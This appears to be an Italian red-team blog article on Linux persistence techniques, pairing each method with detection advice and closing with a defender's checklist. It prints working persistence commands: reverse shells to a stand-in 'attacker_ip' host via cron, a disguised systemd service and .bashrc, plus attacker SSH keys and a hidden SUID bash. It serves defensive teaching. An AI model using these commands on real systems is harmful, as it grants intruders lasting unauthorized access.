← Torna agli articoli

Red Team · 06 June 2026

Post-Exploitation: tecniche di persistenza su Linux

Nel penetration testing, la persistenza simula ciò che un attaccante reale farebbe dopo aver ottenuto l’accesso iniziale: assicurarsi di poter rientrare anche se la shell originale viene persa. Conoscere queste tecniche è essenziale per i blue team che devono rilevare e rimuovere le backdoor.

Cron Job

Il meccanismo più comune e meno appariscente:

# Aggiungi un cron job che esegue una reverse shell ogni minuto
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" | crontab -

# Verifica
crontab -l
cat /etc/cron*
cat /var/spool/cron/crontabs/*

Rilevamento: crontab -l su tutti gli utenti, monitorare /var/spool/cron/, alertare su nuovi cron job.

SSH Authorized Keys

# Aggiunge la chiave pubblica dell'attaccante al file authorized_keys
echo "ssh-rsa AAAA...attacker_pubkey..." >> ~/.ssh/authorized_keys

# Ora l'attaccante può entrare senza password
ssh user@target

Rilevamento: monitorare modifiche a ~/.ssh/authorized_keys, usare file integrity monitoring (AIDE, Tripwire).

Systemd Service

Più stabile e resiliente dei cron job:

# Crea un servizio systemd malevolo
cat > /etc/systemd/system/update-check.service << 'SEOF'
[Unit]
Description=System Update Check

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target
SEOF

systemctl daemon-reload
systemctl enable update-check

Rilevamento: systemctl list-units --type=service, monitorare /etc/systemd/system/ per nuovi file.

SUID Binari

Se si ottiene accesso root temporaneo, si può creare un SUID binary:

cp /bin/bash /tmp/.hidden_bash
chmod +s /tmp/.hidden_bash

# Più tardi, come utente normale
/tmp/.hidden_bash -p   # esegue come root

Rilevamento: find / -perm -4000 -type f 2>/dev/null, confrontare con baseline nota.

.bashrc / .profile / .bash_profile

Codice eseguito ad ogni login interattivo:

echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &' >> ~/.bashrc

Rilevamento: monitorare modifiche ai file di profilo con FIM.

Cosa cercano i difensori

Un SOC analyst che indaga una compromissione Linux controlla:

  • crontab -l per tutti gli utenti + /etc/cron*
  • find / -mtime -7 -type f per file modificati di recente
  • ss -tlpn e netstat per connessioni insolite
  • /var/log/auth.log e /var/log/secure per login anomali
  • Nuovi servizi systemd e differenze nelle authorized_keys
  • Processo con PPID=1 (spesso indice di parent morto, shell orfane)